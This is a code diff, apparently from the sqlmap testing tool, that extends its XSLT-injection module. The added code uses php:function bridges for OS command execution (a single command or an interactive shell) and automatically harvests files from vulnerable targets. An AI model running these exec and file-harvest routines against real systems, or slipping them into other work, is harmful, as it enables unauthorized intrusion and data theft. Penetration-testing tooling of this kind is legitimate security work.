_label, _kind, prefix, uri, _readT, execT = bridge
|
||||
if not execT:
|
||||
return None
|
||||
payload = _bridgeElementPayload(prefix, uri, execT % _quote(getText(command)))
|
||||
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,%d" % XSLT_MAX_FILE_LENGTH)
|
||||
return captured.rstrip("\n") if captured is not None else None
|
||||
|
||||
|
||||
def _advisories(place, parameter, context):
|
||||
"""Report - never drive - the file-write / eval surfaces. Their availability is the finding: a write
|
||||
is destructive ('--file-write' territory) and saxon:eval needs Saxon-PE/EE."""
|
||||
|
||||
build = dict(_BUILDERS)[context]
|
||||
retVal = []
|
||||
for label, expression in XSLT_RCE_PROBES:
|
||||
for label, expression in XSLT_ADVISORY_PROBES:
|
||||
payload = build(_wrap(expression))
|
||||
captured = _captured(page=_send(place, parameter, payload), payload=payload, span="0,40")
|
||||
# function-available() answers the STRING 'true'/'false', so a non-empty capture is not a hit -
|
||||
# only an explicit true is. Reporting on non-empty would flag every engine as exploitable.
|
||||
# the probe answers the STRING 'true'/'false', so only an explicit 'true' counts
|
||||
if captured is not None and captured.strip().lower() == "true":
|
||||
retVal.append(label)
|
||||
return retVal
|
||||
|
||||
|
||||
def _osShell(execFn):
|
||||
"""Interactive OS-shell loop (runs under --batch like the SQL one). EOF / 'exit' / 'quit' leaves."""
|
||||
from lib.core.common import readInput
|
||||
logger.info("calling XSLT OS shell. Enter commands or 'exit'/'quit' to leave")
|
||||
while True:
|
||||
command = readInput("os-shell> ", checkBatch=False)
|
||||
if not command or command.strip().lower() in ("exit", "quit"):
|
||||
break
|
||||
execFn(command.strip())
|
||||
|
||||
|
||||
def _dumpFileRead(remoteFile, content):
|
||||
try:
|
||||
localPath = dataToOutFile(remoteFile, getBytes(content))
|
||||
@@ -470,20 +601,51 @@ def xsltScan():
|
||||
if detail:
|
||||
extra.append("Proof: the engine computed %s" % detail)
|
||||
|
||||
rce = _probeRce(place, parameter, context)
|
||||
if rce:
|
||||
extra.append("Extensions available (NOT exercised): %s" % ", ".join(rce))
|
||||
logger.warning("the engine exposes %s - this injection can reach code execution; "
|
||||
"'--xslt' reports it but does not use it" % ", ".join(rce))
|
||||
# Confirmed-by-evaluation extension bridges (php:function / java:). These are real read/exec
|
||||
# primitives, not a function-available() guess, and reading a file through one is the same
|
||||
# risk class as document() - which this engine already drives - so the read is automatic.
|
||||
bridges = _detectBridges(place, parameter, context)
|
||||
execBridge = next((_ for _ in bridges if _[5]), None)
|
||||
if bridges:
|
||||
extra.append("Extension bridges confirmed: %s" % ", ".join(_[0] for _ in bridges))
|
||||
|
||||
advisories = _advisories(place, parameter, context)
|
||||
if advisories:
|
||||
extra.append("Extensions available (NOT exercised): %s" % ", ".join(advisories))
|
||||
|
||||
_report(slot, title, extra)
|
||||
|
||||
wantsExec = any(conf.get(_) for _ in ("osCmd", "osShell"))
|
||||
|
||||
# --os-cmd / --os-shell: command execution runs ONLY when explicitly asked, exactly like the
|
||||
# SQL and SSTI takeover. Without an exec bridge sqlmap says so rather than pretending.
|
||||
if wantsExec:
|
||||
if execBridge is None:
|
||||
# naming java: here was misleading: it IS an exec-capable namespace in general, but
|
||||
# this engine drives it read-only on purpose (no stdout comes back), so a target
|
||||
# with ONLY the java bridge confirmed was told to look for something it already had
|
||||
readOnly = ", ".join(_[0] for _ in bridges if not _[5])
|
||||
errMsg = "OS command execution needs a confirmed exec bridge (php:function); "
|
||||
errMsg += ("the '%s' bridge is read-only here" % readOnly) if readOnly else "none is available on this target"
|
||||
logger.error(errMsg)
|
||||
else:
|
||||
if conf.get("osCmd"):
|
||||
output = _bridgeExec(place, parameter, execBridge, conf.osCmd)
|
||||
conf.dumper.singleString("XSLT os-cmd ('%s') via %s:\n%s"
|
||||
% (conf.osCmd, execBridge[0], output if output is not None else "(no output captured)"))
|
||||
if conf.get("osShell"):
|
||||
_osShell(lambda command: conf.dumper.singleString(
|
||||
"%s\n%s" % (command, _bridgeExec(place, parameter, execBridge, command) or "(no output captured)")))
|
||||
elif execBridge is not None:
|
||||
logger.info("the '%s' bridge allows OS command execution; you are advised to try "
|
||||
"'--os-shell' (interactive) or '--os-cmd=<command>' (single command)" % execBridge[0])
|
||||
|
||||
# A confirmed finding is exploited automatically, like every other non-SQL switch: whoever
|
||||
# reaches for '--xslt' should not need to know that '--file-read' exists to see impact. An
|
||||
# explicit '--file-read' overrides the harvest and is honoured verbatim instead.
|
||||
if conf.fileRead:
|
||||
logger.info("reading file '%s' through the XSLT engine" % conf.fileRead)
|
||||
content, how = _readFile(place, parameter, context, conf.fileRead)
|
||||
content, how = _readFile(place, parameter, context, conf.fileRead, bridges=bridges)
|
||||
if content:
|
||||
logger.info("XSLT file read succeeded via %s (%d characters)" % (how, len(content)))
|
||||
if how.startswith("string(document("):
|
||||
@@ -491,9 +653,9 @@ def xsltScan():
|
||||
"CONTENT rather than its raw bytes")
|
||||
_dumpFileRead(conf.fileRead, content)
|
||||
else:
|
||||
logger.warning("XSLT file read of '%s' failed. document() only reads well-formed XML, "
|
||||
"and unparsed-text() needs an XSLT 2.0+ engine (this one reports '%s')"
|
||||
% (conf.fileRead, vendor))
|
||||
logger.warning("XSLT file read of '%s' failed. Without an extension bridge, document() "
|
||||
"only reads well-formed XML and unparsed-text() needs an XSLT 2.0+ engine "
|
||||
"(this one reports '%s')" % (conf.fileRead, vendor))
|
||||
else:
|
||||
source = _dumpSourceDocument(place, parameter, context)
|
||||
if source:
|
||||
@@ -501,13 +663,13 @@ def xsltScan():
|
||||
conf.dumper.singleString("XSLT: %s parameter '%s' source document\n%s" % (place, parameter, source))
|
||||
|
||||
logger.info("harvesting reachable files through the XSLT engine")
|
||||
harvested = _harvestFiles(place, parameter, context)
|
||||
harvested = _harvestFiles(place, parameter, context, bridges=bridges)
|
||||
for path, content, how in harvested:
|
||||
logger.info("read '%s' via %s (%d characters)" % (path, how, len(content)))
|
||||
_dumpFileRead(path, content)
|
||||
if not harvested:
|
||||
logger.info("no file could be read automatically (document() needs well-formed XML and "
|
||||
"unparsed-text() needs an XSLT 2.0+ engine)")
|
||||
logger.info("no file could be read automatically (a bridge reads any file, else "
|
||||
"document() needs well-formed XML and unparsed-text() needs XSLT 2.0+)")
|
||||
if source or harvested:
|
||||
logger.info("use '--file-read' to target one specific file instead of this harvest")
|
||||
|
||||
|
||||
Reference in New Issue
Block a user